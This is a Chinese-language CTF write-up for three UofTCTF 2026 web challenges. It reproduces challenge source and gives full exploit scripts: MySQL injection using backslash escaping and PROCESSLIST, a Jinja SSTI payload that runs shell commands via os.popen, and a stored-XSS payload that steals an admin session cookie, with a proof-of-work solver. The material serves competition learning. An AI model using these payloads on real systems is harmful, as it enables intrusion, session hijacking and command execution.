UofTCTF2026 writeup
额,算了,欲言又止
1.no-quotes
上源码
import osimport timeimport pymysqlfrom flask import Flask, redirect, render_template, render_template_string, request, session, url_for
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
MYSQL_HOST = "127.0.0.1"MYSQL_PORT = 3306MYSQL_USER = "ctf"MYSQL_PASSWORD = "ctf"MYSQL_DATABASE = "ctf"
app = Flask(__name__)app.secret_key = os.urandom(24)
def get_db_connection(): return pymysql.connect( host=MYSQL_HOST, port=MYSQL_PORT, user=MYSQL_USER, password=MYSQL_PASSWORD, database=MYSQL_DATABASE, autocommit=True, )
def ensure_db() -> None: conn = get_db_connection() try: with conn.cursor() as cur: cur.execute( """ CREATE TABLE IF NOT EXISTS users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255) UNIQUE NOT NULL, password VARCHAR(255) NOT NULL ) """ ) cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",)) exists = cur.fetchone() if not exists: cur.execute( "INSERT INTO users (username, password) VALUES (%s, %s)", ("test", "test"), ) finally: conn.close()
def waf(value: str) -> bool: blacklist = ["'", '"'] return any(char in value for char in blacklist)
@app.get("/")def index(): return render_template("login.html")
@app.post("/login")def login():
username = request.form.get("username", "") password = request.form.get("password", "")
if waf(username) or waf(password): return render_template( "login.html", error="No quotes allowed!", username=username, ) query = ( "SELECT id, username FROM users " f"WHERE username = ('{username}') AND password = ('{password}')" ) try: conn = get_db_connection() with conn.cursor() as cur: cur.execute(query) row = cur.fetchone() except pymysql.MySQLError: return render_template( "login.html", error=f"Invalid credentials.", username=username, ) finally: try: conn.close() except Exception: pass
if not row: return render_template( "login.html", error="Invalid credentials.", username=username, )
session["user"] = row[1] return redirect(url_for("home"))
@app.get("/home")def home(): if not session.get("user"): return redirect(url_for("index")) return render_template_string(open("templates/home.html").read() % session["user"])
@app.post("/logout")def logout(): session.clear() return redirect(url_for("index"))
if __name__ == "__main__": ensure_db() app.run(host="0.0.0.0", port=5000, debug=False)依旧sql注入,并且没有二次检验,那么就可以直接进行\截断,然后拼接password字段为恶意注入语句,从而登录,同时union返回1和恶意的username字段这里是查询语句。
“SELECT id, username FROM users “所以之后造的是id和username,而username嵌入ssti语句,完结。
2.No Quotes2
是python题,上源码
import osimport timeimport pymysqlfrom flask import Flask, redirect, render_template, render_template_string, request, session, url_for
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
MYSQL_HOST = "127.0.0.1"MYSQL_PORT = 3306MYSQL_USER = "ctf"MYSQL_PASSWORD = "ctf"MYSQL_DATABASE = "ctf"
app = Flask(__name__)app.secret_key = os.urandom(24)
def get_db_connection(): return pymysql.connect( host=MYSQL_HOST, port=MYSQL_PORT, user=MYSQL_USER, password=MYSQL_PASSWORD, database=MYSQL_DATABASE, autocommit=True, )
def ensure_db() -> None: conn = get_db_connection() try: with conn.cursor() as cur: cur.execute( """ CREATE TABLE IF NOT EXISTS users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255) UNIQUE NOT NULL, password VARCHAR(255) NOT NULL ) """ ) cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",)) exists = cur.fetchone() if not exists: cur.execute( "INSERT INTO users (username, password) VALUES (%s, %s)", ("test", "test"), ) finally: conn.close()
def waf(value: str) -> bool: blacklist = ["'", '"'] return any(char in value for char in blacklist)
@app.get("/")def index(): return render_template("login.html")
@app.post("/login")def login():
username = request.form.get("username", "") password = request.form.get("password", "")
if waf(username) or waf(password): return render_template( "login.html", error="No quotes allowed!", username=username, ) query = ( "SELECT username, password FROM users " f"WHERE username = ('{username}') AND password = ('{password}')" ) try: conn = get_db_connection() with conn.cursor() as cur: cur.execute(query) row = cur.fetchone() except pymysql.MySQLError: return render_template( "login.html", error=f"Invalid credentials.", username=username, ) finally: try: conn.close() except Exception: pass
if not row: return render_template( "login.html", error="Invalid credentials.", username=username, ) if not username == row[0] or not password == row[1]: return render_template( "login.html", error="Invalid credentials.", username=username, ) session["user"] = row[0] return redirect(url_for("home"))
@app.get("/home")def home(): if not session.get("user"): return redirect(url_for("index")) return render_template_string(open("templates/home.html").read() % session["user"])
@app.post("/logout")def logout(): session.clear() return redirect(url_for("index"))
if __name__ == "__main__": ensure_db() app.run(host="0.0.0.0", port=5000, debug=False)#include <stdio.h>#include <stdlib.h>#include <unistd.h>
int main() { setuid(0); system("cat /root/flag.txt"); return 0;}<!doctype html><html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Under Construction</title> <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}" /> </head> <body> <main class="page"> <section class="card"> <header class="header"> <h1 class="title">Under construction</h1> <p class="subtitle">Welcome, <span class="mono">%s</span></p> </header>
<div class="construction"> <div class="bar"></div> <p class="body">This area is still being built. Check back soon.</p> </div>
<form method="post" action="/logout"> <button class="button button-secondary" type="submit">Log out</button> </form> </section>
<footer class="footer"> <span class="fineprint">Nothing to see here… yet.</span> </footer> </main> </body></html>除此之外还有几个不重要的板块就不说了,首先是这个应用大致的功能和问题点在哪,其实就是一个登录的页面,然后账号密码是从数据库查询的,让我们看看有没有sql注入。
query = ( "SELECT username, password FROM users " f"WHERE username = ('{username}') AND password = ('{password}')" )这里,记住这是要输入给mysql的,所以这不是参数级的注入,所以是可以进行截断操作的,虽然题目禁用了单引号和双引号,但是mysql是支持\转化为普通字符串的,所以username后面的’就相当于一个普通字符串了,结果就是{username}’) AND password = (这一段成了username的查询命令,然后后面为了语法不出问题,补充一个)然后 select 0 union xxx,这是因为使这个语句为真,但是这样依然未曾解决,因为还存在二次校验,如果说没有二次校验只要or 1 = 1#就可以了,我们看这一段
if not username == row[0] or not password == row[1]:
我们需要数据库查询出来的语句是和我们输入的username和password相等,但是我们select 0返回的是空的,怎么办呢。我们这里就要利用mysql一个特殊的表,那就是PROCESSLIST,这个表记录了连接者的状态信息,同时也记录了连接者输入的查询语句。但是我们直接查返回的只是语句,那么怎么去精确获取到我们输入的呢,在mysql还有个截断函数是 SUBSTRING_INDEX ,有点类似于substr,这个函数格式是
SUBSTRING_INDEX(按分隔符截取子串函数)(str(原字符串), delim(分隔符), count(次数))
这样以来就能进一步绕过进而登录进home界面,而home有着这个
Welcome, %s
是的,%s会被模板渲染替换,% session[“user”]),所以只要把username换成模板渲染语句就行了,接下来是SSTI:
cycler.init.globals.builtins.import(requests.args.m).popen(requests.args.cmd).read()
然后传入”m”: “os”, “cmd”: “/readflag”这些参数,就成功拿到flag,另外,因为禁用了’和”,所以查询processlist的语句是用16进制表示的,因为mysql支持16进制归一。以下是exp
import requests
BASE = "https://no-quotes-2-e37ac66a06c5e1a2.chals.uoftctf.org"
u = "{{ cycler.__init__.__globals__.__builtins__.__import__(request.args.m).popen(request.args.cmd).read() }}\\"p = ") AND 0 UNION SELECT " \"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,0x757365726e616d65203d202827,-1),0x272920414e442070617373776f7264203d202827,1)," \"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,0x272920414e442070617373776f7264203d202827,-1),0x2729,1) " \"FROM information_schema.PROCESSLIST WHERE ID=CONNECTION_ID()#"
s = requests.Session()
r = s.post(BASE + "/login", data={"username": u, "password": p}, allow_redirects=False)print("login status:", r.status_code, "location:", r.headers.get("Location"))
r2 = s.get(BASE + "/home", params={"m": "os", "cmd": "/readflag"})print(r2.text)3.personal blog
js题目
const crypto = require('crypto');const fs = require('fs');const path = require('path');
const bcrypt = require('bcryptjs');const cookieParser = require('cookie-parser');const createDOMPurify = require('dompurify');const express = require('express');const { JSDOM } = require('jsdom');
const PORT = process.env.PORT || 3000;const FLAG = process.env.FLAG || 'uoftctf{fake_flag}';const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'adminpass';const APP_ORIGIN = process.env.APP_ORIGIN || 'http://localhost:3000';const BOT_ORIGIN = process.env.BOT_ORIGIN || 'http://localhost:4000';const POW_DIFFICULTY = Number.parseInt(process.env.POW_DIFFICULTY || '5000', 10);const POW_ENABLED = Number.isFinite(POW_DIFFICULTY) && POW_DIFFICULTY > 0;
const DATA_DIR = path.join(__dirname, 'data');const DATA_FILE = path.join(DATA_DIR, 'db.json');
const window = new JSDOM('').window;const DOMPurify = createDOMPurify(window);const appOrigin = new URL(APP_ORIGIN);const appPort = appOrigin.port || (appOrigin.protocol === 'https:' ? '443' : '80');const allowedReportHosts = new Set([appOrigin.host]);if (appOrigin.hostname === 'localhost') { allowedReportHosts.add(`127.0.0.1:${appPort}`);}if (appOrigin.hostname === '127.0.0.1') { allowedReportHosts.add(`localhost:${appPort}`);}
const app = express();app.disable('x-powered-by');
app.set('view engine', 'ejs');app.set('views', path.join(__dirname, 'views'));
app.use(express.urlencoded({ extended: false }));app.use(express.json());app.use(cookieParser());app.use('/static', express.static(path.join(__dirname, 'public')));app.use('/static/dompurify', express.static(path.join(__dirname, 'node_modules', 'dompurify', 'dist')));
function ensureDataFile() { if (!fs.existsSync(DATA_DIR)) { fs.mkdirSync(DATA_DIR, { recursive: true }); } if (!fs.existsSync(DATA_FILE)) { const adminHash = bcrypt.hashSync(ADMIN_PASSWORD, 10); const now = Date.now(); const seed = { nextUserId: 2, nextPostId: 2, users: [ { id: 1, username: 'admin', passHash: adminHash, isAdmin: true } ], posts: [ { id: 1, userId: 1, savedContent: '<p>Admin draft: keep the blog tidy.</p>', draftContent: '', createdAt: now, updatedAt: now } ], sessions: {}, magicLinks: {} }; fs.writeFileSync(DATA_FILE, JSON.stringify(seed, null, 2)); }}
function loadDb() { ensureDataFile(); const db = JSON.parse(fs.readFileSync(DATA_FILE, 'utf8')); const touched = normalizeDb(db); if (touched) { saveDb(db); } return db;}
function saveDb(db) { fs.writeFileSync(DATA_FILE, JSON.stringify(db, null, 2));}
function cookieOptions() { return { httpOnly: false, sameSite: 'Lax', path: '/' };}
function getUserById(db, id) { return db.users.find((user) => user.id === id) || null;}
function getUserByName(db, username) { return db.users.find((user) => user.username === username) || null;}
function normalizeDb(db) { let touched = false; if (!Array.isArray(db.posts)) { db.posts = []; touched = true; } if (!db.nextPostId) { db.nextPostId = 1; touched = true; } db.posts.forEach((post) => { if (!post.id) { post.id = db.nextPostId++; touched = true; } if (!post.createdAt) { post.createdAt = Date.now(); touched = true; } if (!post.updatedAt) { post.updatedAt = post.createdAt; touched = true; } }); const maxId = db.posts.reduce((max, post) => Math.max(max, post.id || 0), 0); if (db.nextPostId <= maxId) { db.nextPostId = maxId + 1; touched = true; } return touched;}
function getUserPosts(db, userId) { return db.posts .filter((post) => post.userId === userId) .sort((a, b) => (b.updatedAt || 0) - (a.updatedAt || 0));}
function getPostById(db, userId, postId) { return db.posts.find((post) => post.userId === userId && post.id === postId) || null;}
function createPost(db, userId) { const now = Date.now(); const post = { id: db.nextPostId++, userId, savedContent: '', draftContent: '', createdAt: now, updatedAt: now }; db.posts.push(post); return post;}
function createSession(db, userId) { const sid = crypto.randomBytes(18).toString('hex'); db.sessions[sid] = { userId, createdAt: Date.now() }; return sid;}
function resolveSession(req, db) { const sid = req.cookies.sid; if (!sid) { return null; } const session = db.sessions[sid]; if (!session) { return null; } return getUserById(db, session.userId);}
function sanitizeHtml(input) { return DOMPurify.sanitize(input || '');}
const POW_VERSION = 's';const POW_MOD = (1n << 1279n) - 1n;const POW_ONE = 1n;
function powBytesToBigInt(buf) { if (!buf || buf.length === 0) { return 0n; } return BigInt(`0x${buf.toString('hex')}`);}
function powGenerateChallenge(difficulty) { const dBytes = Buffer.alloc(4); dBytes.writeUInt32BE(difficulty); const xBytes = crypto.randomBytes(16); return `${POW_VERSION}.${dBytes.toString('base64')}.${xBytes.toString('base64')}`;}
function powDecodeChallenge(value) { const parts = String(value || '').split('.', 3); if (parts.length !== 3 || parts[0] !== POW_VERSION) { return null; } const dBytes = Buffer.from(parts[1], 'base64'); if (dBytes.length > 4) { return null; } const padded = Buffer.concat([Buffer.alloc(4 - dBytes.length), dBytes]); const difficulty = padded.readUInt32BE(0); const xBytes = Buffer.from(parts[2], 'base64'); return { difficulty, x: powBytesToBigInt(xBytes) };}
function powDecodeSolution(value) { const parts = String(value || '').split('.', 2); if (parts.length !== 2 || parts[0] !== POW_VERSION) { return null; } const yBytes = Buffer.from(parts[1], 'base64'); return powBytesToBigInt(yBytes);}
function powCheck(challenge, solution, expectedDifficulty) { const decoded = powDecodeChallenge(challenge); if (!decoded || decoded.difficulty !== expectedDifficulty) { return false; } const y = powDecodeSolution(solution); if (y === null) { return false; } let current = y; for (let i = 0; i < decoded.difficulty; i += 1) { current = (current ^ POW_ONE); current = (current * current) % POW_MOD; } if (current === decoded.x) { return true; } return current === (POW_MOD - decoded.x);}
function reportContext(status, error) { return { status, error, powChallenge: POW_ENABLED ? powGenerateChallenge(POW_DIFFICULTY) : null };}
function safeRedirect(value) { if (!value || typeof value !== 'string') { return '/dashboard'; } try { const parsed = new URL(value, APP_ORIGIN); if (parsed.origin !== appOrigin.origin) { return '/dashboard'; } if (!parsed.pathname.startsWith('/')) { return '/dashboard'; } return `${parsed.pathname}${parsed.search}${parsed.hash}`; } catch (err) { return '/dashboard'; }}
function normalizeReportUrl(input) { if (!input || typeof input !== 'string') { return null; } let url; try { if (input.startsWith('/')) { url = new URL(input, APP_ORIGIN); } else { url = new URL(input); } } catch (err) { return null; } if (url.protocol !== 'http:') { return null; } if (!allowedReportHosts.has(url.host)) { return null; } url.host = appOrigin.host; return url.toString();}
function requireLogin(req, res, next) { if (!req.user) { return res.redirect('/login'); } return next();}
app.use((req, res, next) => { const db = loadDb(); req.db = db; req.user = resolveSession(req, db); res.locals.user = req.user; next();});
app.get('/', (req, res) => { if (req.user) { return res.redirect('/dashboard'); } return res.render('index');});
app.get('/register', (req, res) => { return res.render('register', { error: null });});
app.post('/register', (req, res) => { const db = req.db; const username = (req.body.username || '').trim(); const password = req.body.password || '';
if (!username || !password) { return res.render('register', { error: 'Username and password are required.' }); } if (getUserByName(db, username)) { return res.render('register', { error: 'Username already exists.' }); }
const userId = db.nextUserId++; const passHash = bcrypt.hashSync(password, 10); db.users.push({ id: userId, username, passHash, isAdmin: false }); saveDb(db);
return res.redirect('/login');});
app.get('/login', (req, res) => { return res.render('login', { error: null });});
app.post('/login', (req, res) => { const db = req.db; const username = (req.body.username || '').trim(); const password = req.body.password || ''; const user = getUserByName(db, username);
if (!user || !bcrypt.compareSync(password, user.passHash)) { return res.render('login', { error: 'Invalid username or password.' }); }
const existingSid = req.cookies.sid; if (existingSid) { res.cookie('sid_prev', existingSid, cookieOptions()); } const sid = createSession(db, user.id); saveDb(db); res.cookie('sid', sid, cookieOptions());
return res.redirect('/dashboard');});
app.post('/logout', (req, res) => { res.clearCookie('sid'); res.clearCookie('sid_prev'); return res.redirect('/');});
app.get('/dashboard', requireLogin, (req, res) => { const posts = getUserPosts(req.db, req.user.id).map((post) => ({ id: post.id, updatedAt: post.updatedAt, preview: sanitizeHtml(post.savedContent) })); return res.render('dashboard', { posts });});
app.get('/post/:id', requireLogin, (req, res) => { const postId = Number.parseInt(req.params.id, 10); if (!Number.isFinite(postId)) { return res.status(404).send('Not found.'); } const post = getPostById(req.db, req.user.id, postId); if (!post) { return res.status(404).send('Not found.'); // 未找到。 } return res.render('post', { post, content: sanitizeHtml(post.savedContent) });});
app.get('/edit', requireLogin, (req, res) => { const db = req.db; const post = createPost(db, req.user.id); saveDb(db); return res.redirect(`/edit/${post.id}`);});
app.get('/edit/new', requireLogin, (req, res) => { return res.redirect('/edit');});
app.get('/edit/:id', requireLogin, (req, res) => { const postId = Number.parseInt(req.params.id, 10); if (!Number.isFinite(postId)) { return res.status(404).send('Not found.'); } const post = getPostById(req.db, req.user.id, postId); if (!post) { return res.status(404).send('Not found.'); // 未找到。 } const draftContent = post.draftContent || post.savedContent || ''; return res.render('editor', { post, draftContent });});
app.post('/api/save', requireLogin, (req, res) => { const db = req.db; const postId = Number.parseInt(req.body.postId, 10); if (!Number.isFinite(postId)) { return res.status(400).json({ ok: false }); } const post = getPostById(db, req.user.id, postId); if (!post) { return res.status(404).json({ ok: false }); } const rawContent = String(req.body.content || ''); const sanitized = sanitizeHtml(rawContent); post.savedContent = sanitized; post.draftContent = sanitized; post.updatedAt = Date.now(); saveDb(db); return res.json({ ok: true });});
app.post('/api/autosave', requireLogin, (req, res) => { const db = req.db; const postId = Number.parseInt(req.body.postId, 10); if (!Number.isFinite(postId)) { return res.status(400).json({ ok: false }); } const post = getPostById(db, req.user.id, postId); if (!post) { return res.status(404).json({ ok: false }); } const rawContent = String(req.body.content || ''); post.draftContent = rawContent; post.updatedAt = Date.now(); saveDb(db); return res.json({ ok: true });});
app.get('/account', requireLogin, (req, res) => { const links = Object.entries(req.db.magicLinks) .filter(([, entry]) => entry.userId === req.user.id) .map(([token]) => token); return res.render('account', { links });});
app.post('/magic/generate', requireLogin, (req, res) => { const db = req.db; const token = crypto.randomBytes(16).toString('hex'); db.magicLinks[token] = { userId: req.user.id, createdAt: Date.now() }; saveDb(db); return res.redirect('/account');});
app.get('/magic/:token', (req, res) => { const db = req.db; const token = req.params.token; const record = db.magicLinks[token]; if (!record) { return res.status(404).send('Invalid token.'); // 无效的令牌。 }
const existingSid = req.cookies.sid; if (existingSid) { res.cookie('sid_prev', existingSid, cookieOptions()); } const sid = createSession(db, record.userId); saveDb(db); res.cookie('sid', sid, cookieOptions());
const target = safeRedirect(req.query.redirect); return res.redirect(target);});
app.get('/report', requireLogin, (req, res) => { return res.render('report', reportContext(null, null));});
app.post('/report', requireLogin, async (req, res) => { const rawUrl = (req.body.url || '').trim(); const target = normalizeReportUrl(rawUrl); if (!target) { return res.render('report', reportContext(null, 'Only local URLs are allowed.')); // 仅允许本地 URL。 } if (POW_ENABLED) { const challenge = req.body.pow_challenge || ''; const solution = req.body.pow_solution || ''; if (!powCheck(challenge, solution, POW_DIFFICULTY)) { return res.render('report', reportContext(null, 'Proof of work failed.')); // 工作量证明失败。 } }
try { const response = await fetch(`${BOT_ORIGIN}/visit`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ url: target }) });
if (!response.ok) { throw new Error(`bot status ${response.status}`); }
return res.render('report', reportContext('Admin is on the way.', null)); // 管理员正在赶来。 } catch (err) { return res.render('report', reportContext(null, 'Bot request failed. Try again in a moment.')); // Bot 请求失败。请稍后再试。 }});
app.get('/flag', requireLogin, (req, res) => { if (!req.user.isAdmin) { return res.status(403).send('Admins only.'); // 仅限管理员。 } return res.send(FLAG);});
app.listen(PORT, () => { console.log(`personal-blog web listening on ${PORT}`); // personal-blog web 正在监听端口 ${PORT}});<%- include('partials/page-start') %><section class="editor-shell"> <div class="editor-header"> <div> <p class="eyebrow">Edit</p> <h2>Post <%= post.id %></h2> <p class="muted">Only you can see this entry.</p> </div> <a class="button ghost" href="/dashboard">Back to posts</a> </div>
<div class="editor-panel"> <div id="editor" class="editor" data-post-id="<%= post.id %>" contenteditable="true"><%- draftContent %></div> </div>
<div class="editor-actions"> <button id="saveButton" class="button primary" type="button">Save</button> <a class="button ghost" href="/post/<%= post.id %>">View post</a> </div></section>
<script src="/static/dompurify/purify.min.js"></script><script src="/static/editor.js"></script><%- include('partials/page-end') %>const express = require('express');const puppeteer = require('puppeteer-core');
const PORT = process.env.PORT || 4000;const APP_HOST = process.env.APP_HOST || 'http://localhost:3000';const ADMIN_USER = process.env.ADMIN_USER || 'admin';const ADMIN_PASS = process.env.ADMIN_PASS || process.env.ADMIN_PASSWORD || 'adminpass';const BROWSER_PATH = process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium';
const app = express();app.use(express.json());
let browserPromise = null;
async function getBrowser() { if (!browserPromise) { browserPromise = puppeteer.launch({ headless: 'new', executablePath: BROWSER_PATH, args: ['--no-sandbox', '--disable-setuid-sandbox'] }); } return browserPromise;}
function isLocalUrl(target) { try { const url = new URL(target); return url.origin === APP_HOST; } catch (err) { return false; }}
async function loginAndVisit(targetUrl) { const browser = await getBrowser(); const context = browser.createBrowserContext ? await browser.createBrowserContext() : await browser.createIncognitoBrowserContext(); const page = await context.newPage(); try { page.setDefaultTimeout(10000);
await page.goto(`${APP_HOST}/login`, { waitUntil: 'networkidle2' }); await page.type('input[name="username"]', ADMIN_USER, { delay: 40 }); await page.type('input[name="password"]', ADMIN_PASS, { delay: 40 }); await Promise.all([ page.click('button[type="submit"]'), page.waitForNavigation({ waitUntil: 'networkidle2' }) ]);
await page.goto(targetUrl, { waitUntil: 'networkidle2' }); await new Promise((resolve) => setTimeout(resolve, 6000)); } finally { await page.close(); await context.close(); }}
app.post('/visit', async (req, res) => { const target = String(req.body.url || ''); if (!isLocalUrl(target)) { return res.status(400).json({ ok: false, error: 'invalid url' }); } loginAndVisit(target).catch((err) => { console.log(err); }); return res.status(202).json({ ok: true, status: 'started' });});
app.listen(PORT, () => { console.log(`admin bot listening on ${PORT}`);});这题让我很难受看的,代码太长了,基本漏洞点在这
function cookieOptions() { return { httpOnly: false, sameSite: 'Lax', path: '/' };}httponly是关的,说明脚本可以用脚本去读前端的cookie,然后这题flag的读取条件是有admin的sid,但是我们只有普通身份,怎么使得我们有管理员的sid呢。
app.post('/api/autosave', requireLogin, (req, res) => { const rawContent = String(req.body.content || ''); post.draftContent = rawContent; // 不 sanitize(净化) saveDb(db); return res.json({ ok: true });});这个不经过净化直接存入了draftcomtent,而edit路由会直接把这个拿出来渲染,
模板里是 <%- draftContent %>(不转义输出),所以你放进草稿的 HTML(超文本) 会被浏览器当真执行 → 存储型 XSS。
const existingSid = req.cookies.sid;if (existingSid) { res.cookie('sid_prev', existingSid, cookieOptions());}const sid = createSession(db, record.userId);res.cookie('sid', sid, cookieOptions());return res.redirect(target);这是另一个漏洞点,就是如果我们访问magic的url的时候,如果自身有·cookie,那么就会把自身最新的cookie放进sid_prev,然后会把magic的属主cookie设置成sid然后重定向到作者主页,这个时候我们可以通过xss读取admin的sid并且用来读取/flag并且打印回来。
再加上 cookieOptions():
function cookieOptions() { return { httpOnly: false, sameSite: 'Lax', path: '/' };}httpOnly:false 代表 JS(脚本) 可以 document.cookie 读到 sid_prev。
漏洞点 C:/flag(旗子接口) 只看 req.user.isAdmin(是否管理员)
代码:
app.get('/flag', requireLogin, (req, res) => { if (!req.user.isAdmin) return res.status(403).send('Admins only.'); return res.send(FLAG);});而 req.user 是用 resolveSession() 从 sid 算出来的:
function resolveSession(req, db) { const sid = req.cookies.sid; const session = db.sessions[sid]; return getUserById(db, session.userId);}所以:只要你能把浏览器 cookie 里的 **sid** 临时换成 admin 的 sid,就能读 **/flag**。
bot(机器人) 的作用:让“admin sid”出现
你题里 bot 会先登录 admin,再访问你上报的 URL(链接)。
于是当 bot 访问 /magic/:token 时,existingSid 就是 admin sid,它就会被写进 sid_prev,然后被你的 XSS 读出来。
以下是exp:
import reimport timeimport base64import requests
# ====== 配置区 ======BASE = "http://34.26.148.28:5000" # 必须是 http://,不能是 https://USER = "kanon"PASS = "123456"# ====================
# ====== PoW(工作量证明) 求解器:反向开方 + xor(异或) 1 ======P = (1 << 1279) - 1EXP = (P + 1) // 4 # 因为 P % 4 == 3,平方根用 a^((P+1)/4) mod P
def b64_to_int(s: str) -> int: b = base64.b64decode(s) return int.from_bytes(b, "big") if b else 0
def int_to_b64(n: int) -> str: if n == 0: return base64.b64encode(b"\x00").decode() blen = (n.bit_length() + 7) // 8 return base64.b64encode(n.to_bytes(blen, "big")).decode()
def decode_challenge(ch: str): # challenge 形如: s.<d_base64>.<x_base64> ver, d_b64, x_b64 = ch.split(".", 2) if ver != "s": raise ValueError("bad pow version") d_bytes = base64.b64decode(d_b64) if len(d_bytes) > 4: raise ValueError("bad difficulty bytes") d = int.from_bytes(d_bytes.rjust(4, b"\x00"), "big") x = b64_to_int(x_b64) % P return d, x
def forward(y: int, d: int) -> int: cur = y for _ in range(d): cur ^= 1 cur = (cur * cur) % P return cur
def invert_once(cur: int) -> int: r = pow(cur, EXP, P) # 对二次剩余给 sqrt(cur),对非剩余给 sqrt(-cur) return (r ^ 1) % P
def solve_pow(ch: str) -> str: d, x = decode_challenge(ch)
# 尝试从 x 反推 cur = x for _ in range(d): cur = invert_once(cur) y = cur
out = forward(y, d) if out != x and out != (P - x) % P: # 再从 -x 反推(对应服务器允许的 POW_MOD - x) cur = (-x) % P for _ in range(d): cur = invert_once(cur) y = cur
return "s." + int_to_b64(y)
# ====== 主流程 ======def must(cond, msg): if not cond: raise RuntimeError(msg)
def main(): must(BASE.startswith("http://"), "BASE 必须以 http:// 开头(后端拒绝 https)")
s = requests.Session()
# 1) login(登录) r = s.post(f"{BASE}/login", data={"username": USER, "password": PASS}, allow_redirects=False) must(r.status_code == 302 and r.headers.get("Location", "").startswith("/dashboard"), f"登录失败:status={r.status_code}, Location={r.headers.get('Location')}")
# 2) create post(新建文章):GET /edit 会 302 到 /edit/<id> r = s.get(f"{BASE}/edit", allow_redirects=False) loc = r.headers.get("Location", "") m = re.match(r"^/edit/(\d+)$", loc) must(r.status_code == 302 and m, f"新建文章失败:status={r.status_code}, Location={loc}") post_id = int(m.group(1)) print("[+] postId =", post_id)
# 3) inject(注入) 到 draftContent(草稿内容):POST /api/autosave(后端不净化) # 用 img onerror(加载失败事件) 更稳,不依赖 script 标签解析 payload = f'''<img src=x onerror="(async()=>{{ const get=(k)=>(';'+' '+document.cookie).split('; '+k+'=').pop().split(';').shift(); const attacker=get('sid'), admin=get('sid_prev'); if(!attacker||!admin) return;
document.cookie='sid='+admin+'; path=/'; const flag=await (await fetch('/flag')).text();
document.cookie='sid='+attacker+'; path=/'; await fetch('/api/save', {{ method:'POST', headers:{{'Content-Type':'application/json'}}, body:JSON.stringify({{postId:{post_id}, content:'<pre>'+flag+'</pre>'}}) }});}})()">'''
r = s.post(f"{BASE}/api/autosave", json={"postId": post_id, "content": payload}) must(r.ok and r.json().get("ok") is True, f"autosave 注入失败:{r.text}")
# 4) 生成 magic link(魔术链接) s.post(f"{BASE}/magic/generate", allow_redirects=True) acc = s.get(f"{BASE}/account").text token_m = re.search(r"/magic/([0-9a-f]{32})", acc) must(token_m, "account 页面没找到 token(可能 generate 失败)") token = token_m.group(1) print("[+] token =", token)
# 5) report(上报) 前先抓 PoW challenge(挑战) rep = s.get(f"{BASE}/report").text ch_m = re.search(r'name="pow_challenge"\s+value="([^"]+)"', rep) data = {"url": f"/magic/{token}?redirect=/edit/{post_id}"}
if ch_m: ch = ch_m.group(1) print("[+] PoW challenge =", ch) sol = solve_pow(ch) print("[+] PoW solution =", sol[:60] + ("..." if len(sol) > 60 else "")) data["pow_challenge"] = ch data["pow_solution"] = sol
# 6) 提交 report(上报),触发 bot(机器人) r = s.post(f"{BASE}/report", data=data) must("Admin is on the way." in r.text, f"report 失败(没触发 bot):页面返回可能是 PoW/URL 错误\n{r.text}")
# 7) 等 bot 执行(bot 内部 sleep 6 秒) time.sleep(8)
# 8) 读文章:如果成功,/post/<id> 会出现 <pre>flag</pre> page = s.get(f"{BASE}/post/{post_id}").text print(page)
if __name__ == "__main__": main()其实还是有一些感触的,那就是一个白盒也不能一味审计,也要结合客户端的东西,一串又臭又长的代码摆在面前光是审计是很累的,也要结合可视化的网页来降低理解的脑消耗来提升审计效率,更何况我还不是很熟js。
到这里吧…
部分信息可能已经过时





